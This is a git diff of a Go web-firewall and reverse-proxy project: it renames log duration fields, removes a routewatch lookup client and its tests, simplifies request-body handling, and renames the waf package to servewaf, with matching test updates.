if fields[name] != value {
@@ -55,9 +55,9 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
"forwarded_for", "content_type", "content_length", "request_headers",
"has_authorization", "has_cookie", "websocket", "response_content_type",
"upstream_status", "cache_control", "location", "aborted", "counts",
"limit_hit", "offence", "ban_expires", "duration_checks_ms",
"limit_hit", "offence", "ban_expires", "duration_checks",
"duration_upstream_connect", "duration_upstream_first_byte",
"duration_upstream_total_ms",
"duration_upstream_total",
}
for _, name := range unset {
_, present := fields[name]
@@ -67,44 +67,6 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
}
}
func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
t.Parallel()
var out bytes.Buffer
err := requestlog.Write(&out, &requestlog.Line{
Query: "a=1&b=<2>",
Referer: "https://example.com/?x=1&y=<2>",
})
if err != nil {
t.Fatalf("write: %v", err)
}
err = requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{Query: "a=1&b=<2>"})
if err != nil {
t.Fatalf("write the rproxy line: %v", err)
}
lines := strings.Split(strings.TrimSuffix(out.String(), "\n"), "\n")
if len(lines) != 2 {
t.Fatalf("wrote %q, want two lines", out.String())
}
for _, line := range lines {
if !json.Valid([]byte(line)) {
t.Errorf("%s is not valid JSON", line)
}
if !strings.Contains(line, `"query":"a=1&b=<2>"`) {
t.Errorf("%s does not hold the query as sent", line)
}
}
if !strings.Contains(lines[0], `"referer":"https://example.com/?x=1&y=<2>"`) {
t.Errorf("%s does not hold the referer as sent", lines[0])
}
}
func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
t.Parallel()
@@ -120,7 +82,7 @@ func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
const want = `{"type":"request","time":"","request_id":"an-id","client_ip":"",` +
`"host":"","method":"","path":"","query":"","status":0,"request_bytes":0,` +
`"response_bytes":0,"duration_request_ms":0,"duration_response_ms":0,` +
`"response_bytes":0,"duration_request":0,"duration_response":0,` +
`"disposition":"allow"}` + "\n"
if out.String() != want {
t.Errorf("wrote %s, want %s", out.String(), want)
@@ -132,7 +94,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
var out bytes.Buffer
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
requestlog.NewProcessLogger(&out, "fsn1app1/gitea", slog.LevelInfo).Info("starting",
"version", "v1")
var fields map[string]any
@@ -142,7 +104,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
t.Fatalf("decode %q: %v", out.String(), err)
}
if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
if fields["type"] != "process" || fields["instance"] != "fsn1app1/gitea" ||
fields["msg"] != "starting" || fields["level"] != "INFO" ||
fields["version"] != "v1" {
t.Errorf("process line %v", fields)
@@ -171,7 +133,7 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
var out bytes.Buffer
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/gitea", level)
for _, at := range levels {
processLog.Log(t.Context(), at, "message")
}
-302
View File
@@ -1,302 +0,0 @@
// Package routewatch asks a routewatch instance about client addresses, in the
// background, and keeps its answers. A routewatch instance knows, for an
// address, the netblock it is announced in and the AS that originates it. The
// answers are kept in memory, for at most 100,000 clients and for an hour each,
// and are written to routewatch.json and read from it by the state package.
package routewatch
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"log/slog"
"net/http"
"net/netip"
"net/url"
"slices"
"sync"
"time"
"github.com/hashicorp/golang-lru/v2/simplelru"
)
const (
// answerKept is how long an answer is used after it came.
answerKept = time.Hour
// failureKept is how long routewatch is not asked again after a query
// fails, so that a dead routewatch is not asked on every request.
failureKept = time.Minute
// queryTimeout is how long one query may take. routewatch answers only
// after a reverse DNS lookup it allows 2 seconds, so this is longer.
queryTimeout = 5 * time.Second
// maxAnswers is how many answers are kept. Past it, the one that came
// longest ago is dropped.
maxAnswers = 100000
// maxQueries is how many queries may be under way at once. Past it, a
// client is not asked about until its next request, so that a swarm of
// new addresses cannot fill the memory.
maxQueries = 100
// maxAnswerBytes is the most of an answer that is read.
maxAnswerBytes = 64 << 10
)
// Missing is why Route gives no route. The request log's field
// routewatch_tags_missing gives these values.
type Missing string
const (
// NoAnswerYet is a client routewatch has not answered about yet.
NoAnswerYet Missing = "no_answer_yet"
// RequestFailed is no answer because a recent query failed.
RequestFailed Missing = "request_failed"
// NoRoute is routewatch knowing no live route for the address.
NoRoute Missing = "no_route"
)
var (
errStatus = errors.New("routewatch answered")
errNoResult = errors.New("the answer holds no result")
errNotNetblock = errors.New("the answer's netblock is not a netblock")
)
// Route is what routewatch knows of an address: the netblock it is announced
// in, and the AS that originates it.
type Route struct {
Netblock netip.Prefix
ASN uint32
}
// Answer is what routewatch answered about a client, as routewatch.json holds
// it: the netblock the client's address is announced in, none for an address
// without a live route, the AS that originates it, and when routewatch
// answered.
type Answer struct {
Client netip.Prefix `json:"client"`
Netblock netip.Prefix `json:"netblock"`
ASN uint32 `json:"asn"`
Answered time.Time `json:"answered"`
}
// Params are what New needs.
type Params struct {
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
URL string
// Now tells the time, normally time.Now in UTC.
Now func() time.Time
// ProcessLog receives the query that fails, and why.
ProcessLog *slog.Logger
}
// Client asks a routewatch instance about clients, in the background, and keeps
// its answers. It is safe for concurrent use.
type Client struct {
params Params
httpClient *http.Client
mu sync.Mutex
// answers are by client. Each is added as it comes and never moved up,
// so that the one that came longest ago is the first dropped.
answers *simplelru.LRU[netip.Prefix, Answer]
// asking are the clients whose query is under way.
asking map[netip.Prefix]bool
// retryAt is when routewatch may be asked again after a query failed.
retryAt time.Time
}
// New returns a Client with no answer yet.
func New(params Params) *Client {
answers, err := simplelru.NewLRU[netip.Prefix, Answer](maxAnswers, nil)
if err != nil {
panic(err) // NewLRU fails only for a size below one
}
return &Client{
params: params,
httpClient: &http.Client{},
answers: answers,
asking: map[netip.Prefix]bool{},
}
}
// Route returns what routewatch answered about client, an IPv4 address or an
// IPv6 group, or why it has no route. It never waits for a query. A client
// without an answer is asked about in the background, by addr, the address its
// request came from, unless its query is under way, a query failed less than
// failureKept ago, or maxQueries are under way. ctx is the context of the
// client's request, and a query goes on after the request ends.
func (c *Client) Route(
ctx context.Context, client netip.Prefix, addr netip.Addr,
) (Route, Missing) {
c.mu.Lock()
defer c.mu.Unlock()
now := c.params.Now()
kept, found := c.answers.Peek(client)
if found && now.Sub(kept.Answered) < answerKept {
if !kept.Netblock.IsValid() {
return Route{}, NoRoute
}
return Route{Netblock: kept.Netblock, ASN: kept.ASN}, ""
}
if now.Before(c.retryAt) {
return Route{}, RequestFailed
}
if !c.asking[client] && len(c.asking) < maxQueries {
c.asking[client] = true
go c.ask(context.WithoutCancel(ctx), client, addr)
}
return Route{}, NoAnswerYet
}
// Snapshot returns every answer still in use, sorted by client, as
// routewatch.json lists them.
func (c *Client) Snapshot() []Answer {
c.mu.Lock()
now := c.params.Now()
answers := make([]Answer, 0, c.answers.Len())
for _, kept := range c.answers.Values() {
if now.Sub(kept.Answered) < answerKept {
answers = append(answers, kept)
}
}
c.mu.Unlock()
slices.SortFunc(answers, func(a, b Answer) int {
return a.Client.Compare(b.Client)
})
return answers
}
// Load keeps answers, read from routewatch.json, in place of those it keeps,
// but for those that came answerKept ago or more and, past maxAnswers, those
// that came longest ago.
func (c *Client) Load(answers []Answer) {
answers = slices.Clone(answers)
slices.SortStableFunc(answers, func(a, b Answer) int {
return a.Answered.Compare(b.Answered)
})
c.mu.Lock()
defer c.mu.Unlock()
c.answers.Purge()
now := c.params.Now()
for _, kept := range answers {
if now.Sub(kept.Answered) < answerKept {
c.answers.Add(kept.Client, kept)
}
}
}
// ask asks routewatch about addr, keeps the answer as client's, and notes the
// query as no longer under way. A query that fails gives no answer, and
// routewatch is not asked again for failureKept. Only the first failure of
// those under way is logged.
func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
route, err := c.query(ctx, addr)
now := c.params.Now()
c.mu.Lock()
delete(c.asking, client)
firstFailure := err != nil && !now.Before(c.retryAt)
if err == nil {
c.answers.Add(client, Answer{
Client: client, Netblock: route.Netblock, ASN: route.ASN, Answered: now,
})
} else {
c.retryAt = now.Add(failureKept)
}
c.mu.Unlock()
if firstFailure {
c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
}
}
// query asks routewatch's IP info API about addr. An answer other than 200, one
// that cannot be read, and none within queryTimeout, fail. A result with no
// netblock is an address without a live route, and gives a Route without one.
func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
ctx, cancel := context.WithTimeout(ctx, queryTimeout)
defer cancel()
endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
if err != nil {
return Route{}, fmt.Errorf("make the URL: %w", err)
}
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
if err != nil {
return Route{}, fmt.Errorf("make the request: %w", err)
}
req.Header.Set("Accept", "application/json")
res, err := c.httpClient.Do(req)
if err != nil {
// Do's error names the URL, which holds the client's address, which
// is not to be logged: only what went wrong is kept.
return Route{}, fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
}
defer func() {
_ = res.Body.Close()
}()
if res.StatusCode != http.StatusOK {
return Route{}, fmt.Errorf("%w %s", errStatus, res.Status)
}
return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
}
// readAnswer reads routewatch's answer about one address.
func readAnswer(body io.Reader) (Route, error) {
var decoded struct {
Data struct {
Results []struct {
Netblock string `json:"netblock"`
ASN uint32 `json:"asn"`
} `json:"results"`
} `json:"data"`
}
err := json.NewDecoder(body).Decode(&decoded)
if err != nil {
return Route{}, fmt.Errorf("read the answer: %w", err)
}
if len(decoded.Data.Results) == 0 {
return Route{}, errNoResult
}
result := decoded.Data.Results[0]
if result.Netblock == "" {
return Route{}, nil
}
netblock, err := netip.ParsePrefix(result.Netblock)
if err != nil {
return Route{}, fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
}
return Route{Netblock: netblock.Masked(), ASN: result.ASN}, nil
}
-464
View File
@@ -1,464 +0,0 @@
package routewatch_test
import (
"bytes"
"context"
"log/slog"
"net/http"
"net/http/httptest"
"net/netip"
"slices"
"strings"
"sync"
"sync/atomic"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/routewatch"
)
const (
clientAddr = "192.0.2.1"
routedAnswer = `{"status":"ok","data":{"results":[` +
`{"ip":"192.0.2.1","netblock":"192.0.2.0/24","asn":64496}]}}`
noRouteAnswer = `{"status":"ok","data":{"results":[{"ip":"192.0.2.1"}]}}`
// slowAnswer is longer than routewatch allows a reverse DNS lookup.
slowAnswer = 2500 * time.Millisecond
// waitLimit is longer than the Client allows a query.
waitLimit = 10 * time.Second
)
// clock is a time the tests move by hand.
type clock struct {
mu sync.Mutex
now time.Time
}
func (c *clock) Now() time.Time {
c.mu.Lock()
defer c.mu.Unlock()
return c.now
}
func (c *clock) advance(by time.Duration) {
c.mu.Lock()
defer c.mu.Unlock()
c.now = c.now.Add(by)
}
// fixture is a Client asking a stand-in for routewatch. queries counts what the
// stand-in was asked, paths holds the last path it was asked for, and log holds
// the process log.
type fixture struct {
t *testing.T
server *httptest.Server
client *routewatch.Client
clk *clock
queries *atomic.Int32
path *atomic.Value
log *syncBuffer
}
// syncBuffer is a buffer the background queries can log to while a test reads it.
type syncBuffer struct {
mu sync.Mutex
buf bytes.Buffer
}
func (b *syncBuffer) Write(p []byte) (int, error) {
b.mu.Lock()
defer b.mu.Unlock()
return b.buf.Write(p)
}
func (b *syncBuffer) String() string {
b.mu.Lock()
defer b.mu.Unlock()
return b.buf.String()
}
func newFixture(t *testing.T, standIn http.HandlerFunc) *fixture {
t.Helper()
f := &fixture{
t: t,
clk: &clock{now: time.Date(2026, 11, 9, 0, 0, 0, 0, time.UTC)},
queries: &atomic.Int32{},
path: &atomic.Value{},
log: &syncBuffer{},
}
f.server = httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
f.queries.Add(1)
f.path.Store(r.URL.Path)
standIn(w, r)
}))
t.Cleanup(f.server.Close)
f.client = routewatch.New(routewatch.Params{
URL: f.server.URL + "/", Now: f.clk.Now,
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
})
return f
}
func answering(body string) http.HandlerFunc {
return func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(body))
}
}
// silentURL is where a routewatch that never answers is: a query to it waits,
// without the network, until it is abandoned. TestMain registers it with Go's
// default transport, through which the Client asks.
const silentURL = "silent://routewatch/"
func TestMain(m *testing.M) {
transport, _ := http.DefaultTransport.(*http.Transport)
transport.RegisterProtocol("silent", silentRoutewatch{})
m.Run()
}
// silentRoutewatch is the routewatch at silentURL.
type silentRoutewatch struct{}
// RoundTrip waits until req is abandoned.
func (silentRoutewatch) RoundTrip(req *http.Request) (*http.Response, error) {
<-req.Context().Done()
return nil, req.Context().Err()
}
func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
addr := netip.MustParseAddr(clientAddr)
client := netip.PrefixFrom(addr, addr.BitLen())
return f.client.Route(context.Background(), client, addr)
}
// waitFor asks until the answer is why, or, while why is "", until there is a
// route, and returns the route.
func (f *fixture) waitFor(why routewatch.Missing) routewatch.Route {
f.t.Helper()
deadline := time.Now().Add(waitLimit)
for {
route, missing := f.route()
if missing == why {
return route
}
if time.Now().After(deadline) {
f.t.Fatalf("still %q after %s, want %q", missing, waitLimit, why)
}
time.Sleep(time.Millisecond)
}
}
// wantFailureLoggedWithoutTheClient waits for the process log to name a failed
// query, and checks that it does not name the client.
func (f *fixture) wantFailureLoggedWithoutTheClient() {
f.t.Helper()
// The failure is noted before it is logged.
deadline := time.Now().Add(waitLimit)
for !strings.Contains(f.log.String(), "asking routewatch failed") {
if time.Now().After(deadline) {
f.t.Fatalf("process log %q names no failure", f.log.String())
}
time.Sleep(time.Millisecond)
}
if strings.Contains(f.log.String(), clientAddr) {
f.t.Errorf("process log %q names the client", f.log.String())
}
}
func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
}
route := f.waitFor("")
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
if route != want {
t.Errorf("route %+v, want %+v", route, want)
}
if got := f.path.Load(); got != "/api/v1/ip/"+clientAddr {
t.Errorf("asked for path %v", got)
}
}
func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
t.Parallel()
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
time.Sleep(slowAnswer)
_, _ = w.Write([]byte(routedAnswer))
})
f.route()
route := f.waitFor("")
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
if route != want {
t.Errorf("route %+v, want %+v", route, want)
}
}
func TestAddressWithoutARouteIsKeptAsNoRoute(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(noRouteAnswer))
f.route()
f.waitFor(routewatch.NoRoute)
if got := f.queries.Load(); got != 1 {
t.Errorf("%d queries, want 1", got)
}
}
func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
t.Parallel()
tests := map[string]http.HandlerFunc{
"500": func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusInternalServerError)
},
"not JSON": answering("no"),
"no results": answering(`{"status":"ok","data":{"results":[]}}`),
"bad netblock": answering(
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
}
for name, standIn := range tests {
t.Run(name, func(t *testing.T) {
t.Parallel()
f := newFixture(t, standIn)
f.route()
f.waitFor(routewatch.RequestFailed)
f.wantFailureLoggedWithoutTheClient()
})
}
}
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
// Another test can take a closed server's port at once, so routewatch's
// address here is a multicast address, to which TCP cannot connect.
f.client = routewatch.New(routewatch.Params{
URL: "http://224.0.0.1/", Now: f.clk.Now,
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
})
f.route()
f.waitFor(routewatch.RequestFailed)
f.wantFailureLoggedWithoutTheClient()
}
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
t.Parallel()
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusInternalServerError)
})
f.route()
f.waitFor(routewatch.RequestFailed)
f.route()
if got := f.queries.Load(); got != 1 {
t.Errorf("%d queries while the failure is kept, want 1", got)
}
f.clk.advance(time.Minute)
f.route()
deadline := time.Now().Add(waitLimit)
for f.queries.Load() != 2 {
if time.Now().After(deadline) {
t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
}
time.Sleep(time.Millisecond)
}
}
func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
t.Parallel()
// In a synctest bubble, time passes only while every goroutine in it waits,
// so Route's wait is measured exactly, however busy the host is. routewatch
// is the one at silentURL: one reached over the network would keep the
// bubble's clock from moving.
synctest.Test(t, func(t *testing.T) {
// Without newFixture's stand-in, which is reached over the network.
f := &fixture{t: t, log: &syncBuffer{}}
f.client = routewatch.New(routewatch.Params{
URL: silentURL, Now: time.Now,
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
})
began := time.Now()
_, missing := f.route()
if waited := time.Since(began); missing != routewatch.NoAnswerYet || waited != 0 {
t.Errorf("Route gave %q after %s while routewatch hangs, want %q at once",
missing, waited, routewatch.NoAnswerYet)
}
f.waitFor(routewatch.RequestFailed)
f.wantFailureLoggedWithoutTheClient()
})
}
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
t.Parallel()
release := make(chan struct{})
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
<-release
_, _ = w.Write([]byte(routedAnswer))
})
for range 50 {
f.route()
}
close(release)
f.waitFor("")
for range 50 {
f.route()
}
if got := f.queries.Load(); got != 1 {
t.Errorf("%d queries for repeated requests, want 1", got)
}
f.clk.advance(time.Hour)
f.waitFor(routewatch.NoAnswerYet)
f.waitFor("")
if got := f.queries.Load(); got != 2 {
t.Errorf("%d queries after the answer expired, want 2", got)
}
}
func TestSnapshotHoldsTheAnswerUntilItExpires(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
f.route()
f.waitFor("")
want := []routewatch.Answer{{
Client: netip.MustParsePrefix(clientAddr + "/32"),
Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
Answered: f.clk.Now(),
}}
if got := f.client.Snapshot(); !slices.Equal(got, want) {
t.Errorf("snapshot %+v, want %+v", got, want)
}
f.clk.advance(time.Hour)
if got := f.client.Snapshot(); len(got) != 0 {
t.Errorf("snapshot %+v an hour after the answer, want none", got)
}
}
func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
now := f.clk.Now()
kept := routewatch.Answer{
Client: netip.MustParsePrefix(clientAddr + "/32"),
Netblock: netip.MustParsePrefix("198.51.100.0/24"), ASN: 64497,
Answered: now.Add(-time.Hour + time.Second),
}
stale := routewatch.Answer{
Client: netip.MustParsePrefix("192.0.2.2/32"),
Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
Answered: now.Add(-time.Hour),
}
f.client.Load([]routewatch.Answer{kept, stale})
if got := f.client.Snapshot(); !slices.Equal(got, []routewatch.Answer{kept}) {
t.Errorf("kept %+v, want only the answer that came less than an hour ago", got)
}
route, missing := f.route()
want := routewatch.Route{Netblock: kept.Netblock, ASN: kept.ASN}
if route != want || missing != "" {
t.Errorf("route %+v (%q), want %+v", route, missing, want)
}
if got := f.queries.Load(); got != 0 {
t.Errorf("%d queries for a client with an answer loaded, want none", got)
}
}
func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
t.Parallel()
const maxAnswers = 100000
f := newFixture(t, answering(routedAnswer))
now := f.clk.Now()
// routewatch.json lists the answers by client. Here each came a
// millisecond before the one listed before it, so the last listed is
// the one that came longest ago, and the one dropped.
answers := make([]routewatch.Answer, maxAnswers+1)
addr := netip.MustParseAddr("10.0.0.0")
for i := range answers {
answers[i] = routewatch.Answer{
Client: netip.PrefixFrom(addr, addr.BitLen()),
Answered: now.Add(-time.Duration(i) * time.Millisecond),
}
addr = addr.Next()
}
f.client.Load(answers)
got := f.client.Snapshot()
if len(got) != maxAnswers {
t.Fatalf("%d answers kept, want %d", len(got), maxAnswers)
}
if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
t.Errorf("answers kept from %s to %s, want from %s to %s", got[0].Client,
got[maxAnswers-1].Client, answers[0].Client, answers[maxAnswers-1].Client)
}
}
+2 -24
View File
@@ -6,7 +6,6 @@ import (
"io"
"net"
"net/http"
"sync"
"sync/atomic"
)
@@ -32,24 +31,11 @@ type requestBody struct {
received atomic.Bool
// bytes is how much of the body has been read.
bytes atomic.Int64
// mu is held for the whole of each Read, and guards stopped.
mu sync.Mutex
// stopped is true once the body no longer goes to the app; Read then reads
// no more.
stopped bool
}
// Read reads from the visitor's body, after the part held, which has been
// counted already.
func (b *requestBody) Read(p []byte) (int, error) {
b.mu.Lock()
defer b.mu.Unlock()
if b.stopped {
return 0, http.ErrBodyReadAfterClose
}
if len(b.held) > 0 {
n := copy(p, b.held)
b.held = b.held[n:]
@@ -74,11 +60,9 @@ func (b *requestBody) Read(p []byte) (int, error) {
return n, err
}
// Close does nothing: Go's server closes the visitor's body once the handler
// returns. Closing it earlier, as the transport and ReverseProxy do, would wait
// for a Read in progress and then read up to 256 KiB more of the body.
// Close closes the visitor's body.
func (b *requestBody) Close() error {
return nil
return b.body.Close()
}
// responseBody is the app's response body on its way to the visitor.
@@ -179,8 +163,6 @@ type responseWriter struct {
// status is the final status sent, or zero before one is.
status int
bytes int64
// afterStatus, if set, is called once the final status has been written.
afterStatus func()
}
// WriteHeader sends the status and headers. An informational 1xx status is
@@ -191,10 +173,6 @@ func (w *responseWriter) WriteHeader(status int) {
}
w.ResponseWriter.WriteHeader(status)
if status >= http.StatusOK && w.afterStatus != nil {
w.afterStatus()
}
}
// Write sends part of the body.
+11 -10
View File
@@ -18,7 +18,7 @@ const (
)
// peerAddress is the address of the request's TCP peer, normally traefik, without
// any IPv6 zone, which waf refuses.
// any IPv6 zone, which servewaf refuses.
func peerAddress(r *http.Request) netip.Addr {
addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
if err != nil {
@@ -34,7 +34,7 @@ func peerAddress(r *http.Request) netip.Addr {
// address outside them is the visitor; if every address in it is inside, the
// leftmost is, and with no header, the peer. An entry that is not an address
// ends the reading, since nothing to its left can be believed. The visitor's
// address never has an IPv6 zone, which waf refuses.
// address never has an IPv6 zone, which servewaf refuses.
func clientAddress(
peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
) netip.Addr {
@@ -105,14 +105,15 @@ func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
return
}
// An app behind CGI or FastCGI reads X_Forwarded_Ssl as X-Forwarded-Ssl, so
// a name is matched with each _ read as - and in any letter case.
for name := range out.Header {
spelt := strings.ToLower(strings.ReplaceAll(name, "_", "-"))
if strings.HasPrefix(spelt, "x-forwarded-") ||
spelt == "forwarded" || spelt == "x-real-ip" {
delete(out.Header, name)
}
// ReverseProxy has removed Forwarded and the three set below; these are the
// other headers in which traefik tells the app about the visitor and its
// request.
for _, name := range []string{
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
} {
out.Header.Del(name)
}
out.Header.Set("X-Forwarded-For", forwardedFor)
+39 -348
View File
@@ -9,7 +9,6 @@ import (
"net"
"net/http"
"net/http/httptest"
"os"
"strconv"
"strings"
"sync/atomic"
@@ -19,7 +18,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy"
"sneak.berlin/go/smallwebwaf/internal/waf"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
)
// post is the start of a POST whose headers end with what follows it.
@@ -59,7 +58,7 @@ func TestServerHasTheFixedLimits(t *testing.T) {
}
}
func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
func TestABodyAnnouncedOverItsLimitIsRefusedOnceServeWAFAllowsIt(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
@@ -72,7 +71,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
@@ -101,7 +100,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
t.Parallel()
standIn := startWAF(t, deny)
standIn := startServeWAF(t, deny)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestSize: "1K",
@@ -110,7 +109,7 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
bytes.NewReader(make([]byte, 1025))))
if got.status != http.StatusForbidden {
t.Errorf("answered %+v, want waf's 403", got)
t.Errorf("answered %+v, want servewaf's 403", got)
}
}
@@ -133,7 +132,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
var asked atomic.Bool
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
asked.Store(true)
greet(w, r)
@@ -166,7 +165,7 @@ func TestAResponseOverItsLimit(t *testing.T) {
t.Run("announced, is refused", func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(contentLengthHeader, strconv.Itoa(len(large)))
_, _ = io.WriteString(w, large)
@@ -188,7 +187,7 @@ func TestAResponseOverItsLimit(t *testing.T) {
t.Run("not announced, is cut off", func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = io.WriteString(w, large[:1])
_ = http.NewResponseController(w).Flush()
@@ -218,7 +217,7 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.
const announced = "2048"
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(contentLengthHeader, announced)
})
@@ -241,7 +240,7 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
t.Run(setting, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
setting: "off",
@@ -252,7 +251,7 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
strings.NewReader("a body"))))
if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
if got := get(t, addr, servewaf.HealthPath); got.status != http.StatusOK {
t.Errorf("answered %+v, want rproxy's own 200", got)
}
})
@@ -271,7 +270,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "500",
@@ -290,7 +289,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
}
if len(standIn.questions) != 0 {
t.Error("waf was asked")
t.Error("servewaf was asked")
}
standIn.wantNoReport(t)
@@ -301,7 +300,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
@@ -315,7 +314,7 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
}
if len(standIn.questions) != 0 {
t.Error("waf was asked")
t.Error("servewaf was asked")
}
}
@@ -335,7 +334,7 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
@@ -366,7 +365,7 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
}
if len(standIn.questions) != 0 {
